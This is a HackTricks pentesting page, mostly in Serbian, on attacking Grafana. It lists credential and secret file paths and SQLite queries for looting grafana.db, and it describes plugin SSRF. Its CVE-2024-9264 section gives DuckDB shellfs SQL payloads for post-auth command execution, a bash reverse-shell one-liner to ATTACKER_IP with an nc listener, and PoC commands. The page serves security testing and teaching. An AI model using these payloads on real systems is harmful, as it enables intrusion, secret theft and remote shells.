Grafana

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Zanimljive stvari

  • Glavna konfiguracija se obično nalazi u /etc/grafana/grafana.ini (Deb/RPM) i može sadržati osetljive vrednosti kao što su admin_user, admin_password, secret_key, OAuth podešavanja, SMTP kredencijali i renderer tokeni.
  • Podrazumevano Grafana čuva podatke u SQLite3 pod /var/lib/grafana/grafana.db.
  • Provisioning fajlovi su veoma interesantni nakon pristupa hostu:
  • /etc/grafana/provisioning/datasources/*.yaml
  • /etc/grafana/provisioning/plugins/*.yaml
  • Environment-variable expansion je podržan u provisioning fajlovima, tako da leaked YAML često otkriva i tajne i nazive env var koji ih podržavaju.
  • Instalirani pluginovi se obično nalaze pod /var/lib/grafana/plugins.
  • Unutar platforme možete pozvati ljude, generisati API keys / service account tokens, izlistati pluginove, ili instalirati nove pluginove u zavisnosti od uloge.
  • Pregledač je takođe plijen: Grafana izlaže non-secret datasource config na frontend. Ako imate Viewer sesiju (ili je omogućен anonymous access), pregledajte window.grafanaBootData iz DevTools.

Korisne SQLite provere:

.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;

Izdvajanje datasource-ova i tajni

Grafana razdvaja konfiguraciju čitljivu u pregledaču od šifrovanih tajni:

  • jsonData je vidljiv korisnicima u pregledaču i često dovoljan za nabrajanje internih hostova, tenant-a, auth režima, imena header-a, AWS regiona, Elasticsearch indeksa, Loki tenant-a, Prometheus URL-ova i sličnih podataka za rekognosciju.
  • secureJsonData je šifrovan na serverskoj strani i više nije čitljiv iz pregledača nakon što je datasource sačuvan.

Post-exploitation workflow:

  1. Dump grafana.ini i povrati secret_key.
  2. Loot grafana.db i provisioning fajlove.
  3. Enumerate datasource-ove i konfiguraciju plugina da pronađete ponovo upotrebljive kredencijale i interne endpoint-e.
  4. Ako migrirate ili reprodukujete bazu podataka u drugu Grafana instancu, zadržite isti secret_key ili će sačuvani password-i/tokeni datasource-a biti pogrešno dekriptovani.

Zašto je secret_key važan u novijim verzijama:

  • Od Grafana v9, tajne u bazi koriste envelope enkripciju.
  • Grafana šifruje tajne pomoću data encryption keys (DEKs), a ti DEK-ovi su šifrovani pomoću key encryption key (KEK) izvedenog iz secret_key.
  • Iz perspektive napadača, grafana.db + secret_key je par vredan krađe.

Površina napada plugina

Tretirajte plugine kao deo mete, a ne kao fusnotu:

  • Enumerate ih iz filesystem-a, iz UI-ja, ili iz API-ja:
curl -s http://grafana.target/api/plugins | jq '.[].id'
  • Stariji ili third-party plugin-i redovno šire Grafana-in domet u interne mreže zato što proxy-ju HTTP zahteve ili interaguju sa lokalnim fajlovima/bazama podataka.
  • Kao nedavni primeri uključuju SSRF u Infinity pluginu (< 3.4.1) i puteve zloupotrebe gde Image Renderer plugin pretvara drugu grešku u full-read SSRF.

CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI

Grafana’s experimental SQL Expressions feature može izvršavati DuckDB upite koji ugrađuju tekst pod kontrolom korisnika. Nedovoljna sanitizacija omogućava napadačima da povežu DuckDB naredbe i učitaju zajedničku ekstenziju shellfs, koja izlaže shell komande preko pipe-backed virtuelnih fajlova.

Impact

  • Bilo koji autentifikovani korisnik sa VIEWER ili višim može dobiti izvršavanje koda kao Grafana OS korisnik (često grafana; ponekad root unutar kontejnera) ili izvršiti lokalno čitanje fajlova.
  • Uslovi koji su često ispunjeni u realnim okruženjima:
  • SQL Expressions enabled: expressions.enabled = true
  • duckdb binary present in PATH on the server

Quick checks

  • U UI/API, pregledajte Admin settings (Swagger: /swagger-ui, endpoint /api/admin/settings) da potvrdite:
  • expressions.enabled je true
  • Opcionalno: verzija, tipovi datasource-a, i opšta podešavanja za hardening
  • Shell na hostu: which duckdb mora rešiti za exploit putanju ispod.

Manual query pattern using DuckDB + shellfs

  • Tok zloupotrebe (2 upita):
  1. Instalirajte i učitajte shellfs ekstenziju, pokrenite komandu, preusmerite kombinovani izlaz u privremeni fajl preko pipe
  2. Pročitajte nazad privremeni fajl koristeći read_blob

Example SQL Expressions payloads that get passed to DuckDB:

-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');

Zamenite CMD željenom naredbom. Za file-read (LFI) možete umesto toga koristiti DuckDB file functions za čitanje lokalnih fajlova.

Primer one-liner reverse shell

bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"

Ugradi to kao CMD u prvom upitu dok imaš listener: nc -lnvp 443.

Automatizovani PoC

Primer upotrebe

# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target

Ako izlaz prikazuje uid=0(root), Grafana radi kao root (uobičajeno unutar nekih kontejnera).

2025 client-side traversal / open redirect chain

The 2025 Grafana client-side traversal and open-redirect chain je već dokumentovana na opštim client-side stranicama. Koristite te tehnike protiv Grafana-specifičnih putanja kao što su plugin assets, dashboard script loaders i token-rotation redirects:

Client Side Path Traversal

Open Redirect

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks